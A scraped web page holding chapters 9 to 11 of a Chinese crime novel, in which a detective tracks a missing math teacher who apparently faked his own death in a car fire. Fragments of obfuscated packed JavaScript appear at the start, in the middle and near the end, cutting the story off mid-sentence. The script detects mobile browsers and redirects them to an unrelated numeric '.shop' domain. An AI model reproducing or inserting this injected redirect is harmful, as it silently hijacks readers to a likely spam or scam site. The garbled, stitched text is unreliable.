d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043550|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要知道结果的急切。 这个女孩背后的秘密像一张无形的大网,纹理混乱,头绪万千,让人琢磨不透。 “电话关机了,没打通。” 谢隐不再纠结是否能撬开李莘的嘴了,他和班主任老师一同匆匆赶往教务处,查询马骏老师的请假手续。 教务处人员很快找到了一份数学研讨会的复印件,按照电话拨打过去,对方说,马骏老师压根就没有去参会! 像在黑暗中摸索跌撞了几天后豁然有光的感觉,谢隐有种预感,这个马骏,一定和本案有关。 —— 马骏,男,35岁,未婚,硕士研究生学历,去年11月进入湖岸中学担任实习数学老师,现今尚未转正。李莘就是他的学生。马骏本人父母早逝,没有兄弟姐妹,家庭条件一般,入职湖岸中学后一直在学校教职工宿舍楼里居住。 6月4日,马骏拿着数学研讨会的邀请函到教务处请假。湖岸中学历来看重这类全国级别的研讨会议,一来学习先进经验,二来也为了给老师镀金,有利于宣传招生,教务处很快就批准了马骏的假期。 谢隐查到马骏确实买了6月9日飞往京城的机票,但并未登机。据其他教职工说,这几日也没见马骏回过宿舍。 时间惊人的重合。谢隐又将物证照片拿给几位老师看,他们也都证实这就是马骏的腰带扣。 可在进一步询问过程中谢隐得知,马骏身高182,并且没有白化病,这和尸检结果严重不符。但查案还是要讲科学的,谢隐没有急着下结论,他们需要马骏或其亲属的dna比对结果,才能做进一步的判断。 他把寻找马骏家属的任务交给卢晓明之后,自己和韩易仍旧留在学校,面对着难磨的李莘。 当再一次坐到李莘面前时,谢隐没急着说话,饶有兴致地和那个烦人的律师对峙着。因为他感受到了李莘的急切。 他等着李莘先开口。 终于,城府没有她老爹深,经验没有律师厚的李莘终于按捺不住自己的急切,先开口问道:“谢警官,我家车里死的人,真的是马老师么?” 一双不太大的眼睛眨呀眨的,其中写满了好奇。 谢隐没有正面回答她,而是反问回去:“那就得问你了。你为什么认为你的数学老师,会出现在你父亲买给女同事的车里呢?” 问题被抛回来,李莘措手不及。她语无伦次地回答:“或许他偷了车······对,我爸爸不是和你们说了吗,我家车丢了。” 很显然她是在回答到一半的时候才想起了父亲对她的叮嘱,但这也给了谢隐突破口。 他乘胜追击:“一辆一键启动的车想要偷走,可不太容易哦,除非他有这辆车的钥匙。” 谢隐故意顿了顿,加重了语气:“李莘同学,你的数学老师怎么有你家车钥匙,这个问题,我想你不难回答吧?” 郭律师第一时间站了出来,想让李莘拒绝回答这个问题。可让谢隐惊讶的是,这一次李莘没有理会郭律师的建议,而是和谢隐做了个交易。 “如果我告诉你,他为什么会有我家车钥匙,请你告诉我,车里死的人,到底是不是马老师。” 她急了,她急了······谢隐心中窃喜,也终于明白了李莘的急切纠结的到底是什么。 她急于知道车里死的人到底是谁,她急于知道死的人到底是不是她惦记的人。而这个人就是马骏! 哪怕马骏并不是死者,李莘和马骏也一定和这起案子有着直接的关系。李莘现在提出交易,很有可能拿一个无关痛痒的答案来应付谢隐。谢隐热油里滚过的老油条一根了,还能让她糊弄了? 事情发展到这,情势急转直下。谢隐不急,反而是李莘急了。 谢隐唇角勾笑,怡然自得地收拾起桌上的资料,然后起身,“小姑娘,说与不说,都是你的权力。你说,我感谢你。你不说,我也查得到。” 他大步走向门口,猛然间一回头,笑意更显:“哦对了小姑娘,再向你科普个小知识。我们警察,从来,不和任何人做交易。” 9. 豪车惊魂9 6月14日,已经是案发第四天了。 刑侦支队副队长谢隐担任主要责任人,派出了三个探组加班加点地收集资料。13时,谢隐召集支队里所有相关人员召开了第二次案情分析会。 虚头巴脑的话一句没有,谢隐直接介绍自己了解到的情况。 “今天上午我又来到了湖岸中学,询问了马骏的学生和同事。” 谢隐一边说,一边指着大屏幕上那张马骏的照片。照片中的马骏看起来中年模样,和他的实际年龄35岁比起来,显得更成熟一些——可能是发际线明显后移的原因吧。 “马骏到湖岸中学任教时间不长,据学校的教职工说,马骏这个人性格很开朗,乐于助人。特别爱干净,几乎从不穿和前一天一样的衣服,甚至是每天一件新衣服。在同事之中口碑不错。据他的学生讲,马骏在本职专业上很能钻研,钻研到了近乎痴迷的程度。在教学方面,中规中矩,但对学生很热心。所以整体而言,大家对他的评价还都不错。” 说到这,荆哲的表情一变,似乎有话要说。谢隐会其意,说道:“我先介绍完,然后你再补充。” 谢隐继续说:“我重点询问了马骏和李莘之间的关系。据班级同学以及李莘的闺蜜说,马骏和李莘之间并没有任何异常关系。李莘并不喜欢数学,数学成绩也不太理想。几乎没有人看到过她在课上回答问题,或者课后与数学老师有任何交流。” 说到这,他顿了一下:“但是,我们在调查湖岸中学学生离校请销假档案时发现,李莘在去年12月份之后,频繁外出,甚至整夜未归。而她每一次离校,签字的教师,都是马骏!” 大屏幕上展示了李莘的离校记录。从12月开始,离校的频率呈正向递增的态势,最频繁的是今年4月,几乎每周都会离校两次,均是彻夜未归。 然而这个记录在4月28日之后空白了很长一段时间。 直到6月8日,马骏再次给李莘签了假条,当日17时离校,21时回校。 结合之前了解到的情况,所有人都陷入了沉思。唯有韩易惊呼了起来:“这个时间线,几乎和李莘资金异常的时间完全一致!” 谢隐点头:“而且6月8日,正是死者死亡的前一天。” 谢隐总结了一下:“所以我这面走访湖岸中学,存疑的是以下两点。1、马骏家境贫寒,每天换一套新衣服未免太过奢侈。且换衣服却不换腰带扣,这个腰带扣的意义有待解释。2、马骏和李莘绝对不是寻常关系。” 接着谢隐的话茬,荆哲这一组汇报起来。 “谢队在湖岸中学了解到,马骏在教师和学生当中口碑不错,但实际上这个人有一个让人难以饶恕的污点。我们组对马骏的过往经历进行调查,发现他在研究生就读期间,曾经跟踪尾随过一名本科女生,后被这名女生告到了学校。但学校以证据不足为由把事情压了下来。” 韩易皱眉:“学校为什么压下来?” 谢隐轻叹了一口气:“借口肯定不少,什么证据不足,什么为了女孩子的名誉,为了学生的前途······说白了都是为多一事不如少一事。” 荆哲点头,继续汇报:“毕业后,马骏顺利进入一所公办中学。起初也和在湖岸中学一样,马骏开朗肯干的性格得到了一致好评。但在去年,公办中学校长接到了匿名举报信,说马骏任教这些年来曾多次猥亵过女学生。” 韩易惊愕,有自觉打断了荆哲的话,“多年来······猥亵多人······没人报警?” 荆哲摇头:“没有。不仅没人报警,甚至在学校着手调查这件事时,匿名信中提及的女学生几乎都矢口否认自己被马骏猥亵过。只有一名已经毕业很久的女学生,说马骏确实对自己有不当举动,不过现在也没有证据了。” 韩易气愤不过,狠狠骂了两句这个人渣。骂完了还觉得不过瘾,用手肘捅了捅旁边的卢晓明,很显然是想邀请卢晓明一同加入骂人行列。 卢晓明坐直了身子,却低声说了句:“开会呢。” 韩易这才意识到自己的失态,闭了嘴。 荆哲继续:“公立中学并没有实质证据,但还是和马骏解除了劳动关系。于是去年11月,档案上并没有污点的马骏应聘到湖岸中学做数学老师。” 听到这,谢隐不禁一阵恶寒。这个世界上究竟还有多少个这样“没有污点”的人,堂而皇之地站在阳光底下,从事着本应该是最神圣的职业,却做着最肮脏的事呢?他们像带着天使面具的恶魔,徘徊在我们的姐妹、孩子、朋友身边,无时不刻地准备着,找准时机撕下面具,把罪恶的手伸向那些无辜的年轻生命。 面对性侵犯,年轻的女孩,或者男孩,他们因为惧怕社会的“被害者有罪论”,惧怕证据不足,惧怕对未来生活造成影响,选择了忍耐和闭嘴。这为惩治犯罪者,甚至发现犯罪者,都带来了巨大的阻碍。 谢隐的脑海里闪过这样一个思路:会不会是马骏这一次把目标瞄准了家里无暇照顾的李莘呢?从这么频繁的出校记录和彻夜未归的情况来看,会不会已经对李莘造成了更为严重的侵害?而从李莘得知死者可能是马骏后的解脱感来看,会不会是她的父亲李凤臣雇凶杀人,还没向她反馈消息呢? 想到这,谢隐问:“什么时候能确认死者到底是不是马骏?” 列席的法医白超然开口了:“马骏本人没有案底,数据库里没有他的dna。我只能等你们给我提供。” 谢隐明白,转头看向第三组,卢晓明。 卢晓明:“马骏出生于H省的一个小山村,4岁时父亲坠下山崖去世,母亲改嫁邻乡后不堪忍受家暴离家出走,从此杳无音信,至今没有找到人。马骏是被祖父母抚养长大的,但祖父母分别在他14岁和16岁时相继过世。如果想要拿到直系亲属的dna,需要掘坟开棺。当地警方十分不赞成这种做法,他们说当地人很讲究风水,一旦决定掘坟,恐怕整个村子都会出来阻拦。” 谢隐理解,也不想给当地警方太大的压力。 “近亲也行,”白超然补充道,“近亲的dna相似度还是很高的,我们只要能确定死者是不是马骏就行。” 谢隐点头:“对,这种小山村相对闭塞,寻找近亲应该不难。” 卢晓明:“确实不难,马骏的很多叔伯姑姑都在这个村子。但是马骏幼年失怙,他的亲属不同程度上接济过马骏。但后来马骏工作后,就没再和亲属联系过。当地警方一去调查马骏,亲属都表示十分反感,不太愿意配合警方。” 说到这,卢晓明也很无奈:“毕竟当地警方也只是协助我们工作,他们说他们尽力劝说其亲属配合,但具体时间不能保证。” 一句“具体时间不能保证”,基本就等于遥遥无期了。 白超然又提出一个建议:“那就只能搜查马骏的寝室了,他生活过的地方,应该可以提取到有效的dna。” 谢隐也觉得这是目前最有效的途径了,于是话不多说,安排好了下一步的工作,办理了搜查手续,就亲自跟着痕检的同志一起去了马骏的单人宿舍。 然而打开门的一瞬间,谢隐惊呆了。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白超然也累得虚脱,终于没了怼谢隐的力气,点头说:“对。而且很可能是一个对刑侦和痕检非常了解的人做的。” 谢隐:“也就是说,要么是有人不想让我们拿到马骏的dna,要么是马骏自己不想让我们拿到他的dna。” 无论真相是哪一个,都可以说明,这个马骏,一定有问题。 谢隐马上找到学校安保部门,调取了宿舍楼门口的监控。 监控显示,马骏最后一次出现在宿舍,就是6月9日上午。和班主任回忆的时间线吻合。 6月9日,马骏提着一个超大号的拉杆箱离开了宿舍楼,走到校门口,上了一辆209路公交车后,再也没有回到学校。 经过学校保安确认,在马骏走后,教职工宿舍楼并没有外人进出过。也就是说,要么是马骏自己将房间收拾得毫无痕迹,要么是学校的教职工做的。 谢隐的直觉更倾向于前者。因为他又调取了之前半个月的监控画面,这期间的马骏每一次出宿舍楼的时候都是大包小裹的,有时还拉着拉杆箱。 很显然,他在分批分次将生活用品运走,丢弃。 落日的余晖倾洒在这个欧式风格的校园里,让这个充满青春气息的地方更添几分稳重的美感。 然而谢隐没有心情去欣赏这番美景。一个又一个疑团交织纵横,让他身心俱疲。 李莘和马骏到底什么关系?马骏到底是不是死者,如果不是,他怎么凭空消失的?到底是谁想要抹去马骏的所有信息,又是为了什么······ 就在谢隐将一整瓶矿泉水一饮而尽,却无法浇灭心头火的时候,他的手机响了。 一个怪异的纯黑色头像闪动了一下。谢隐愣了几秒,才想起是谁。 手机上赫然出现这个信息—— 秦淮:谢警官,我想你应该来给我修门了。 10. 豪车惊魂10 谢隐这个骚包的微信名字可没有秦淮那么清心寡欲。 A警一枝花:黑人问号脸.jpg 秦淮:你上次付我的钱正好够买一扇门,不够安装费。我就把安装师傅打发回去了。 谢隐第一反应:碰瓷!这就是碰瓷! 他从警生涯第一次碰到有人跟警察碰瓷! 谢隐一脑门子官司,哪有时间处理这种无良群众的无理要求。索性把手机甩到中控上就开启了车子,离开了湖岸中学。 一路上谢头儿脸色阴沉,韩易有种不好的预感:完了,今天不加班的几率近乎为零了。 可就在路口处,谢隐却突然想起了什么,猛打了方向盘。韩易发现不对劲了:“哎头儿,拐错了。回警队往左拐!” 谢隐这时打起转向灯,把车子停在了路旁:“今晚不用加班了。你打车回去吧。我还有点事。” 韩易看了一眼四周,这湖岸中学到警队可40多公里呢! 他一脸委屈地看向谢隐:“头儿,你还是让我加班吧。” 谢隐没和他废话,直接掏出三百块钱递过去:“剩下的留着买烟吧。” 说罢,就把韩易赶下了车。 韩易一脸愤恨地下了车,然而看了看能富余出一半的车费,又想想突如其来的不加班,韩易的多巴胺急速分泌了一波,心里傲娇地说:算了算了,头儿这么大岁数了,兴许是去找媳妇呢,原谅他了。 谢隐对于韩易的内心戏毫不知情,他把手机又从中控台上捡了回来,指尖轻动,飞快地打下了一行字。 A警一枝花:妥,你等我吧。 —— 谢隐其人,18岁考入警校,开启了他的从警生涯。这么多年来,他长途拉练过,野地里埋过锅造过饭,荒山里蹲过点抓过人,可以说是新时代二代衙内中鲜有的吃苦耐劳典范了。 但是,他不会做家务。更不会装修房子。 谢隐面对着当日被他踹坏的门长吁短叹,试图用用一种可怜的姿态换取秦淮的大度和同情。 然而韩易几度想要开口但没说出来的话很有道理,谢隐真的不适合卖萌。 秦淮站在一旁,像一个冷血监工一样不为所动。韩易无奈,只得再次看向坏掉的门板——门锁耷拉着,门板漏了一个大窟窿,上方的合页已经掉了下来,只剩下下方合页垂死挣扎一般吊着最后一口气,不肯寿终正寝。 谢隐:“安装师傅没给你安装新门就算了,连旧门都没帮你拆下来?” 秦淮摊开手:“需要花钱。我还是找免费的好。” 谢隐恨得牙痒痒,奈何自己闯的祸,自己许的诺,他跪着也得修完。更何况,他这次来,还有其他目的。 秦淮递过去一瓶水:“开始吧,谢师傅。” 谢师傅,得,连谢警官都不是了。 藕断丝连的门板总在谢隐蹲在那拆合页的时候砸在他身上,砸得他不胜其烦。他抬头看向秦淮,征求对方的意见。 很显然,对方丝毫没有想帮忙的意思,倒是对财务不以为然:“你可以先把门踹掉。” 好了,谢隐总算明白了。秦淮压根不在乎门是不是能修好,他单纯的只是想整一整谢隐。 谢隐用手拽了拽那即将吹灯拔蜡的门合页,哪知一个毛刺倒钩,活生生给谢隐手背上划出一道血口子来。 “嘶······”谢隐不禁闷哼。 秦淮转身打算给谢隐找消毒工具,谢隐却在这个时候叫住了他。 爱面子大概是每个男人的天性,虽不时时发作,但在特殊情况下,头可断血可流,面子绝不能丢。这种所谓“特殊情况”,无外乎面对两种人时——自己看不惯的人,和自己的心上人。 谢隐理所应当觉得,现在是第一种情况。 他十分硬汉地舔了舔伤口,满不在乎地说:“轻伤不下火线,这点小伤算啥。” 秦淮看着极力忍耐痛苦面具的谢隐,心中暗笑:行,让你装,谁疼谁知道。 谢隐秉持着高度的“职业操守”,一边网上搜教程,一边把坏了的门卸了下来。——主要是怕把门板踹掉了显得自己特别无能,且容易激化矛盾, 房间开着空调,并不热,但谢隐的额头已蒙上了一层细密的汗珠。一颗容纳了多方支援的汗滴终于承受不住地心引力的作用,顺着他紧实的下颌线滚落。 勾勒出一道完美的曲线。 那枚汗珠成功吸引了秦淮的眼球和所有的注意力,以至于谢隐猛然抬头看向他时,自己正聚精会神地盯着对方的领口处的深渊。 秦淮瓷白的脸上突然有了血色,耳根也微微红了起来。 神经大条又得瑟成性的谢隐见状,大剌剌笑道:“怎么着,秦老师,被我的美貌锁魂了么?” 秦淮超强的心理素质在这一刻发挥了强大的作用,他看着拿着门板的谢隐,只淡淡说道:“我只是突然想起了植物大战僵尸里拿门板的那个。” 此刻的谢隐并没有完全站直,手中拿着门板,可不正是活脱脱一个门板僵尸么? 秦淮的心理素质好,是属于化学防御——敌军万千重,我自岿然不动。 谢隐的心理素质好,则是属于物理防御——敌军万千重,我脸皮够厚。 面对嘲讽,谢隐丝毫不恼怒,索性哼起了植物大战僵尸的背景音乐,还学着僵尸走了几步,突然间回头问秦淮:“秦老师,你知道这叫什么嘛?” 秦淮一愣,没听懂他的意思。 “这是世界名表,江诗丹顿。” 哦,僵尸单盾。 秦淮被这个北极笑话冷到了,深吸了一口气,决定把话题转一转,不然自己再被冻死了。 秦淮:“焚尸案的真凶,找到了么?” 谢隐正在拧螺丝的手一顿,回答:“警方办案,不方便和不相关的人透露太多。” 秦淮不以为意,只说道:“你不想说我也不勉强,不过猜也能猜到,还没找到。” 谢隐这才抬头看向秦淮:“为什么这么说?” “很简单。如果找到了,谢警官就会转给我一笔安装费,从此消失在我的生活中。”秦淮靠着椅背站着,手中端了杯温水,“谢警官今天来,不仅仅是给我修门的。我说的对么?” 像被看穿了心肝脾肺肾一样,谢隐感觉浑身不自在。但好在脸皮够厚,耳根也没有发烫的习惯。 他把问题抛回去:“所以秦老师这么胸有成竹,是有什么好的见解?” 秦淮放下杯子:“我还对案情中很多信息不了解。” 谢隐专注地拧螺丝:“抱歉,案件信息恕不外露。” 秦淮:“没有信息也没什么。这世上的凶杀案,无外乎就是那么几个要素。那天走的时候,我已经提醒过谢警官了。死的为什么是他?为什么是那辆车?为什么会是那里?” 是啊,这三个问题就像是梵文咒语一般已经逡巡在谢隐脑海里很多天了。正是这个问题,让谢隐找到了马骏和李莘之间的联系,让他找到了新的侦查方向。 谢隐这次语气缓和了一些,确实是略带一点感激地说:“我明白,我们也是按照这个方向查的。” 秦淮却出人意料地摇头:“不,你根本没明白。” 秦淮的语气给人不容置疑的压力感,让谢隐不禁错愕抬头。 “如果你真明白了,这个案子你就破了。”秦淮坐下来,平静地看向谢隐,“这不是三个问题,而是一个问题。” “无论凶手是谁,他选择了这个时间,这个地点,这辆车,杀这个人。每一个要素看似独立,实际上确实缺一不可,换一个不可的。” 谢隐停下手上的工作,索性坐在地上,一边休息一边去消化秦淮的话。 是啊,每一个案件都是一个整体,不能被割裂开。 假设凶手是X,他为什么要杀这个白化病患者,杀在喜乐村的路旁,杀在李莘的车上? 死者,李莘,喜乐村,保时捷······没有一个元素是随机偶然的。 在秦淮有意无意的帮助下,谢隐找到了车辆和李莘的关系,马骏和李莘的关系。可李莘和喜乐村的关系呢?那辆车和死者的关系呢······对这些元素进行细致地排列组合,最终会出现很多对关系。 只有把这些看似零散的关系织就一张网,才能得到真相。 秦淮没管谢隐在想什么,而是问了个很不着边际的问题,“我今天叫你来干嘛的?” 谢隐一愣,以为秦淮觉得他消极怠工,只得冷着脸继续和螺丝较劲。 秦淮却执意再问一遍:“我今天叫你来,目的是什么?” 谢隐没好气:“你想累死我。” 秦淮不怒,反而笑了,“你看,透过我叫你来修门的表象,你已经猜到了更深的意思。” 嘿,敢情秦淮还真想累死他。谢隐先是腹诽了一番,其中不乏对秦淮的“素质三连”,但很快,他意识到秦淮说这句话绝不仅仅为了坦荡告诉谢隐,他们之间有梁子。 谢隐挑眉,示意他继续说。 “我们总说‘事出反常必有妖’,说白了就是一切不寻常的举动,其背后都有着难以看见的深意。比如你莫名其妙地踹开我家门,比如那辆车莫名其妙地着火,比如······一个人,莫名其妙的从这个世界上消失了······有时候连死亡本身,都是一种消息的传递。” 秦淮语速很慢,给谢隐思考的时间。 “这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043552|148943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切,都和信息有关。有的是为了传递某种信息,有的,则是为了隐匿某种信息。” 秦淮又递给谢隐一瓶水:“当你想明白每一个怪异举动背后的信息时,或许你就能想明白案子的真相了。” 最终,秦淮家多了一扇关上时有缝,打开时吱呀响的门。虽然在秦淮看来极其不堪入目,但在谢隐眼中,这简直是惊为天人的杰作。 “巧夺天工!” 这扇门与秦淮家中干净整洁的整体风格格格不入,却非常符合谢隐“万事好将就”的生活态度。 谢隐已经做好了秦淮让他返工的准备,并且暗自决定到时候一定让韩易来干这个活。他一屁股坐在了地上,大剌剌笑起来:“秦老师,我给您家修了门,好歹供我顿饭啊。” 上次吃饭,他在人家家里来了个大闹天宫,按理说谢隐怎么也没脸再在秦淮家吃顿饭了。 但千金难买小爷他要脸,谢隐直接大剌剌地坐在了桌前,大有一副你不供饭我就不走了的架势。 秦淮笑笑:“不是说不拿群众一针一线么?” 谢隐不以为然:“那是有纪律的谢警官,今儿我是谢师傅。” 秦淮哭笑不得,自己给自己挖了个坑。但做饭这件事对于秦淮而言,算不得什么家务,更像是一种消遣,一门艺术。和他喜欢看浩瀚星空一样,和他喜欢画万丈日出一样。 依旧是四菜一汤,行动麻利,成果斐然。清淡却不失鲜香的气息扑面而来,谢隐忙活了一整天,才惊觉这是今天的第一顿饭。 习惯了加班后的一碗泡面,习惯了外卖盒子堆几天都懒得扔。这种忙碌之后竟然能期待到一顿热气腾腾晚饭的感觉真好。 谢隐想,自己这辈子估计是没福气等到一个愿意为他洗手做汤羹的媳妇了。不过能蹭一点这短暂的人间烟火气也不错。 秦淮依旧多准备了一副碗筷,仍旧是用旧了的儿童款,熟练盛好汤,端到空位上。汤上的水雾氤氲而上,让秦淮清瘦禁欲的脸朦胧起来。 谢隐又一次感叹,还真挺好看的。比他差了一点点,超出世人一大截。 第二次吃饭,谢隐也习惯了秦淮的怪异举动。他几度想要问秦淮,这么做到底是一种缅怀的仪式感,还是他真的“能看见”弟弟。 但话到嘴边,又咽了回去。 秦淮是一位心理学专家,倘若不是入骨的思念,无论如何不至于将自己画地为牢的。没有人愿意自苦,也没人愿意把自己活成一个怪人。渡人容易,渡己奇难。谢隐没资格劝秦淮放下,因为他知道,人是不会轻易放下的。 秦淮如是,他亦如是。 —— 入夜,抛去一整日的喧嚣与闹剧。关上灯,谢隐将自己囫囵个儿地扔进浓重漆黑的夜色里。仿佛疲累的□□都随着黑暗的混沌消融去了,只剩下思想在飘飞。 越是这个时候,越是注意力最容易集中的时候。 谢隐躺在床上想着秦淮的每一句话。 “为什么死的是这个人?为什么是这辆车?为什么是在这个地方?” “每一个怪异的事情,都是为了信息。有的是为了传递某个信息,有的则是为了隐匿某个信息。” 谢隐仔细回忆着这些要素,寻找着其中的怪异之处。一个又一个问题在他的脑海里升腾起来。 ——凶手为什么把凶杀案伪装成车祸,而不是简单的抛尸?要知道查一辆车,比查一个人可容易得多。 ——为什么要隐匿去马骏的生活痕迹?仅仅是为了让警方发现不了死的是马骏吗? ——马骏不是白化病,大概率他并不是死者。可死者的遗物中有马骏的腰带扣? ——为什么,一定要死在李莘的车里? 所有的问题条分缕析地罗列出,又揉碎了打乱了重新组合。谢隐发现,这个凶手的每一个目的,都十分诡异且互相矛盾。 凶手X既想将死者的信息隐匿去,又选择了“和车一起焚烧”的高风险易暴露的方式。既想把马骏的痕迹全部隐匿,却又选择了李莘这个马骏的学生的车辆······ 他到底想传递什么信息?又想隐匿什么信息呢? 谢隐觉得那个答案就在横冲直撞地向他奔来,只是被这些零碎的疑问挡住了来路。 黑暗与寂静再一次卷起狂澜,推了那个答案一把。 终于,谢隐倏地从床上惊座而起,他想明白了。一直以来,他们把矛头对准李莘的方向是错的!她也只是凶手的一个工具人而已! 这个凶手X看似矛盾的举动,却都是为了一个简单的目的——用焚车的方式把警方带到现场,用李莘的车让警方误以为死者就是马骏。 但真相是,这个凶手X,才是马骏! 11. 豪车惊魂11 “晓明,马上去查马骏名下是否有人身保险,受益人是谁?”谢隐一大早就赶到了警队,这并不符合他早起苦难户的风格。 但没想到他到警队之后,基本上已经全员到齐了。 谢隐一拍脑门,觉得自己“拼命三郎”的头衔不保事小,最终让他一条老光棍带着一群小光棍的尴尬局面事大啊! 卢晓明丈二和尚摸不着头脑,但好在老实听话,赶紧就去照办了。韩易却发扬了一贯的话多嘴碎的风格,凑上前来。 “头儿,你怀疑有受益人杀马骏骗保?”韩易联想到车是李莘的,以及二人的怪异关系,补充道,“不太可能吧,李莘家那么有钱,会图保险这点钱么?” 谢隐摇头:“不是李莘杀了马骏,也不是受益人杀了马骏。而是马骏杀了某个我们还不知道的人。当然,他是否具有骗保行为还有待查实。” 浑然不知谢隐昨晚经历过怎样痛苦思辨的韩易乍然听到这么个消息,太过颠覆他的想象力了。他缓了半天,问:“头儿,你有啥依据么?” 谢隐:“我问你,如果让你杀人,你会最希望这个尸体被怎么处理?” “啊?”韩易没思考过这个问题,但本能让他几乎脱口而出,“当然是永远消失才好。” “对,永远消失。”谢隐点头,“当然,在现实世界里,永远消失是一个伪命题。但从警这么多年,我们见到过太多把尸体草草掩埋的,抛尸荒野的······还有一些高明一点,对尸体进行处理分割的······无论哪种方式,都是为了让警方难以找到尸源,进而保全自己。” 韩易对谢隐的这段话保持认同,但想不明白这和他突然开窍有什么关系。 谢隐继续:“可我们这个案子的凶手,却堂而皇之地将一个又一个信息暴露给我们,先是让我们查到车,然后让我们查到李莘,进而找到马骏······不是我们太聪明,也不是我们很幸运,而是凶手在引导我们,查出所谓的‘尸源’。” 韩易还算聪明,一点就通。 恰在这时,卢晓明回来了:“头儿,你真神了,马骏确实在今年5月份买了一份意外险,保额100万。受益人是一位名叫孙庆梅的女性。” 韩易再旁白听得瞠目结舌,半晌才回过神来,不由赞叹:“头儿,同样是九年义务教育,你为什么比我优秀这么多?该不会是你昨晚偷偷去上了补习班吧?” 脸皮厚如城墙的谢隐怎么会承认自己偷偷开了小灶呢,只保持了他一贯的得瑟性格:“能给你师父我补习的人还没生出来呢。你师父我的丰厚经验完全可以编《五年刑侦三年抓逃》和《谢隐刑侦学密卷》了。” 韩易对于谢隐的不要脸已经形成了免疫,甚至有点想要捧臭脚的冲动。但好在卢晓明的话打断了他俩的思路。 “经过调查,这个孙庆梅,和马骏是同乡,与马骏还有点远亲关系。” 谢隐精神一震,他的直觉告诉他,这个孙庆梅,一定是本案的关键。他让卢晓明立即向当地警方发去协查通报,联系上这个孙庆梅。 —— 孙庆梅,女,36岁,马骏的远房表姐和幼年邻居。二人青梅竹马,关系很好,甚至一度有向恋人方向发展的可能。 但后来马骏考上了大学,孙庆梅在父母的逼迫下嫁到了邻村,育有一儿一女。其丈夫在三年前不幸身亡,死亡原因尚待确定。 “据当地警方说,在听说‘死者’可能是马骏之后,孙庆梅当场晕了过去。”卢晓明加了一句,“看来二人感情很好。” 晕过去,是在坐所有人都未曾亲眼所见的。到底是真情实感的流露,还是为了掩盖自己知情真相的做戏,谁也说不好。 谢隐保持了沉默。他需要的是眼见为实的真相。 白超然却在这时开口了:“远亲?怎么个远亲法?是姻亲还是有血缘关系的?” 卢晓明:“有血缘关系,只是很远了。” 谢隐听明白了其中意味,向白超然投去了个赞许的目光,尽管对方并不领情。 谢隐狡黠一笑:“既然感情这么好,又有血缘关系,就请这个孙庆梅来A城一趟吧,做个dna。” 荆哲负责去接孙庆梅来,不敢耽搁分秒,会还没开完就启程了。 卢晓明继续汇报:“我们调取了孙庆梅近几年的通讯记录。发现这个人和绝大多数农妇一样,社会交往非常简单。经常通话的电话一共就只有三个。” 他将总结好的信息投放在大屏幕上。 “第一个,是孙庆梅的娘家父亲。二人通话一直保持均衡的频率,没有发现异常。” “第二个,是马骏。两年前,二人开始了近些年的第一次通话,很有可能是马骏听说了孙庆梅丈夫的死讯,二人重新联系起来。之后二人的通话频率呈逐步递增的态势。在去年一年中,二人几乎每天都会通一次电话。” 说到这,卢晓明顿了一下:“值得注意的是,就在今年5月4日之后,二人的通话戛然而止,从此再没联系过。与之对应的是,孙庆梅的通话记录里多了一个陌生号码。” 5月4日,正是马骏购买意外保险的日期。 谢隐猜了个大概:“这个号码是个问题号吧?” 卢晓明点头:“是。经过调查,这个号码的是用已故多年的死者身份证办的。现在很多电信诈骗用的都是这种手机号。” “马骏很可能就是买来了这么个号码,继续和孙庆梅联系的。”总结小能手韩易发言了。 谢隐:“如此看来,这个孙庆梅很有可能知道马骏的行动。” 卢晓明回答:“很有可能。因为6月8日,也就是死者死亡的前一天,这个新号码就再没联系过孙庆梅。二人很有可能是事先商量好了某种新的联系方式。我们暂时还没获取这一信息。” 谢隐点头:“看来,这个孙庆梅可能会是一个重要的突破口。” 在迷雾中探索了数日的众人终于有了曙光的方向,谢隐却在这个时候保持了他作为领导应有的冷静。 “现在的一切,都是我们的猜测。没有任何实质性的证据指向马骏杀人,也并不知道死者到底是谁。我们现在还面临着三个问题:一是马骏在哪杀了死者?二是死者到底是谁?三是马骏现在在哪?” 前路漫漫,仍任重道远。谢隐没说什么鼓励的话,因为破了案子,是对所有人最好的鼓励。 就在所有人把矛头指向马骏,准备下一步的工作时,那个被他们决定先放一放的“前嫌疑人”却在这个时候,主动找到了警队。 李莘来了。 —— 李莘的不请自来正好验证了谢隐那“李莘比他还急”的猜测。可问题是现在的矛头已经不再针对李莘了,她为什么还这么急? “李莘同学,学校管这么严还能出来?请假条不好开吧。” 谢隐才没心情和小姑娘寒暄,他意有所指——马骏失踪了,谁给你开假条? 李莘也不知道是没听懂,还是不在乎谢隐的调侃,直奔主题:“谢警官,请您告诉我,死在我家车里的人,到底是不是马老师?” 别说她李莘了,就是警察谢隐,此刻也不敢百分之百确定死者到底是谁。可无论是谁,关她李莘什么事呢? 谢隐摇摇头:“李莘同学,我可能还需要再科普一下。侦查阶段的案件细节,警察有权力对任何人保密。” 李莘带着央求的语气:“我只想知道死的是不是马老师,并不影响你们办案。” 谢隐一副爱莫能助的表情。 李莘长叹了一口气,身体往椅子里窝了一点。她的长相不出众,原本胜在皮肤不错,是个加分项。可近些日子来,李莘皮肤的状态易谢隐肉眼可见的速度变差,这让谢隐不禁在想,到底是担忧着什么,会如此夜不能寐茶饭不思,导致皮肤状态都变差了。 